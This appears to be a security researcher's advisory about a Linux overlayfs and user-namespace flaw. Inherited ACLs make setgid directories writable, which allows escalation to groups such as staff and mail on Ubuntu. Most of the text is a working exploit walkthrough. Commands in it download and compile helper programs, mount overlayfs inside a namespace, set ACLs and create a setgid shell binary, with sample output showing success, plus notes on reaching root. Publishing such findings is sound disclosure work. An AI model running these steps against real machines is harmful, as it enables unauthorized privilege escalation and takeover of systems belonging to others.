Linux user namespace allows to mount file systems as normal user, including the overlayfs. As many of those features were not designed with namespaces in mind, this increase the attack surface of the Linux kernel interface.
Overlayfs was intended to allow create writeable filesystems when running on readonly medias, e.g. on a live-CD. In such scenario, the lower filesystem contains the read-only data from the medium, the upper filesystem part is mixed with the lower part. This mixture is then presented as an overlayfs at a given mount point. When writing to this overlayfs, the write will only modify the data in upper, which may reside on a tmpfs for that purpose.
Due to inheritance of Posix ACL information (xattrs) when copying up overlayfs files and not cleaning those additional and unintended ACL attribues, SGID directories may become user writable, thus allowing to gain privileges of this group using methods described in SetgidDirectoryPrivilegeEscalation. On standard Ubuntu system, this allows to gain access to groups staff, mail, libuuid.
Suitable target directories can be easily found using find / -perm -02020 2> /dev/null. On standard Ubuntu system those are:
/usr/local/lib/python3.4 (root.staff) /var/lib/libuuid (libuuid.libuuid) /var/local (root.staff) /var/mail (root.mail)
Exploitation can be done just combining standard tools with the SetgidDirectoryPrivilegeEscalation exploit. The following steps include command variants needed for different operating systems. They have to be executed in two processes, one inside the user namespace, the other one outside of it.
Inside:
test$ wget -q https://www.halfdog.net/Security/2015/SetgidDirectoryPrivilegeEscalation/CreateSetgidBinary.c https://www.halfdog.net/Misc/Utils/UserNamespaceExec.c https://www.halfdog.net/Misc/Utils/SuidExec.c test$ gcc -o CreateSetgidBinary CreateSetgidBinary.c test$ gcc -o UserNamespaceExec UserNamespaceExec.c test$ gcc -o SuidExec SuidExec.c test$ ./UserNamespaceExec -- /bin/bash root# mkdir mnt test work root# mount -t overlayfs -o lowerdir=[parent of targetdir],upperdir=test overlayfs mnt # Ubuntu Trusty root# mount -t overlayfs -o lowerdir=[parent of targetdir],upperdir=test,workdir=work overlayfs mnt # Ubuntu Wily
Outside:
test$ setfacl -m d:u:test:rwx test # Ubuntu Trusty test$ setfacl -m d:u::rwx,d:u:test:rwx work/work # Ubuntu Wily
Inside:
root# chmod 02777 mnt/[targetdir] root# umount mnt
Outside:
test$ ./CreateSetgidBinary test/[targetdir]/escalate /bin/mount x nonexistent-arg test$ test/[targetdir]/escalate ./SuidExec /bin/bash test$ touch x test$ ls -al x -rw-r--r-- 1 test [targetgroup] 0 Jan 16 20:39 x
On Ubuntu, exploitation allows interference with mail spool and allows to gain privileges of other python processes using python dist-packages owned by user root.staff. If root user calls a python process in that way, e.g. via apport crash dump tool, local root escalation is completed.
According to this post, directories or binaries owned by group staff are in the default PATH of the root user, hence local root escalation is trivial.
Utilities:
Issue tracking references:
Discussion, Communication:
Last modified 20171228
Contact e-mail: me (%) halfdog.net